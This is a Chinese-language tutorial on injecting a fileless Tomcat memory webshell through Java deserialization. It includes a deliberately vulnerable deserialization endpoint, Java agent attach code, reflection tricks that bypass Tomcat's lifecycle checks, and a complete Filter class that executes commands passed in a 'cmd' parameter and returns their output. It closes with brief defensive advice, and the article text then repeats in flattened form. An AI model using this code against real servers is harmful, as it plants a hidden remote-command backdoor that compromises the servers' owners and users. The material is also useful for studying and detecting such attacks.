结合反序列化注入tomcat内存马
字数 999 2025-08-10 13:48:27

反序列化注入Tomcat内存马技术详解

0x01 技术背景

内存马是一种驻留在内存中的恶意程序,相比传统WebShell具有更强的隐蔽性。本文重点讲解通过反序列化漏洞动态注入Tomcat内存马的技术细节。

传统内存马与反序列化注入的区别

  • 传统方式:将恶意代码写入JSP文件上传,本质上是Servlet,会编译成class文件并落地
  • 反序列化注入:动态注入,无需文件落地,隐蔽性更强

0x02 环境搭建

依赖配置

使用SpringBoot + Commons-Collections + Javassist构建测试环境:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-autoconfigure</artifactId>
    <version>2.5.6</version>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <version>2.5.6</version>
    <scope>compile</scope>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>

反序列化入口

创建反序列化漏洞入口:

@RequestMapping("/attack")
@ResponseBody
public String evalTest(@RequestParam String data) throws IOException, ClassNotFoundException {
    byte[] decode = Base64.getDecoder().decode(data);
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    byteArrayOutputStream.write(decode);
    ObjectInputStream objectInputStream = new ObjectInputStream(
        new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
    objectInputStream.readObject();
    return "Success";
}

0x03 反序列化利用链选择

使用CC11链进行攻击,关键点:

  1. 恶意类需要继承AbstractTranslet接口
  2. 通过类加载机制执行恶意代码

0x04 内存马注入技术

1. Agent内存马注入

实现原理

  • 通过VirtualMachine类加载Agent Jar包
  • Agent可以动态修改字节码(如Filter)

关键步骤

  1. 获取VirtualMachine类:
File toolsPath = new File(System.getProperty("java.home").replace("jre","lib") + 
    File.separator + "tools.jar");
URL url = toolsPath.toURI().toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
  1. 获取JVM进程ID:
Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
List list = (List)listMethod.invoke(MyVirtualMachine, null);
  1. 加载Agent:
Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{String.class});
Object vm = attach.invoke(o, new Object[]{id});
Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{String.class});
loadAgent.invoke(vm, new Object[]{path});

2. 获取Request/Response注入内存马

关键点

  • 利用ApplicationFilterChain中的静态变量:
    • lastServicedRequest
    • lastServicedResponse

实现步骤

  1. 修改WRAP_SAME_OBJECT属性(需要移除final修饰):
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
  1. 初始化静态变量存储Request/Response

  2. 动态注册Filter内存马

0x05 Filter内存马实现

完整实现代码

public class TomcatInject extends AbstractTranslet implements Filter {
    private final String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "Xilitter";

    static {
        // 获取ServletContext和StandardContext
        // 修改LifecycleState
        // 添加Filter
        // 调用filterStart初始化
        // 调整Filter顺序
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
            FilterChain filterChain) throws IOException, ServletException {
        String cmd;
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
            // 执行命令并回显
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(
                new InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
}

关键实现细节

  1. 获取StandardContext
ServletContext servletContext = getServletContext();
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);
  1. 绕过LifecycleState检查
Field stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
// 添加Filter后恢复状态
stateField.set(standardContext, LifecycleState.STARTED);
  1. 初始化Filter
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
  1. 调整Filter顺序
// 获取所有FilterMaps
Method m = StandardContext.class.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
// 将恶意Filter移到首位

0x06 防御建议

  1. 及时修复反序列化漏洞
  2. 限制JVM attach功能
  3. 监控Filter动态注册行为
  4. 检查StandardContext异常修改
  5. 使用RASP进行运行时防护

0x07 总结

本文详细分析了通过反序列化漏洞注入Tomcat内存马的技术细节,包括:

  • Agent内存马注入原理
  • Request/Response获取方法
  • Filter内存马完整实现
  • 关键绕过技术

这种攻击方式无需文件落地,隐蔽性强,是高级攻防对抗中的常用技术。

反序列化注入Tomcat内存马技术详解 0x01 技术背景 内存马是一种驻留在内存中的恶意程序,相比传统WebShell具有更强的隐蔽性。本文重点讲解通过反序列化漏洞动态注入Tomcat内存马的技术细节。 传统内存马与反序列化注入的区别 传统方式:将恶意代码写入JSP文件上传,本质上是Servlet,会编译成class文件并落地 反序列化注入:动态注入,无需文件落地,隐蔽性更强 0x02 环境搭建 依赖配置 使用SpringBoot + Commons-Collections + Javassist构建测试环境: 反序列化入口 创建反序列化漏洞入口: 0x03 反序列化利用链选择 使用CC11链进行攻击,关键点: 恶意类需要继承 AbstractTranslet 接口 通过类加载机制执行恶意代码 0x04 内存马注入技术 1. Agent内存马注入 实现原理 : 通过 VirtualMachine 类加载Agent Jar包 Agent可以动态修改字节码(如Filter) 关键步骤 : 获取 VirtualMachine 类: 获取JVM进程ID: 加载Agent: 2. 获取Request/Response注入内存马 关键点 : 利用 ApplicationFilterChain 中的静态变量: lastServicedRequest lastServicedResponse 实现步骤 : 修改 WRAP_SAME_OBJECT 属性(需要移除final修饰): 初始化静态变量存储Request/Response 动态注册Filter内存马 0x05 Filter内存马实现 完整实现代码 关键实现细节 获取StandardContext : 绕过LifecycleState检查 : 初始化Filter : 调整Filter顺序 : 0x06 防御建议 及时修复反序列化漏洞 限制JVM attach功能 监控Filter动态注册行为 检查StandardContext异常修改 使用RASP进行运行时防护 0x07 总结 本文详细分析了通过反序列化漏洞注入Tomcat内存马的技术细节,包括: Agent内存马注入原理 Request/Response获取方法 Filter内存马完整实现 关键绕过技术 这种攻击方式无需文件落地,隐蔽性强,是高级攻防对抗中的常用技术。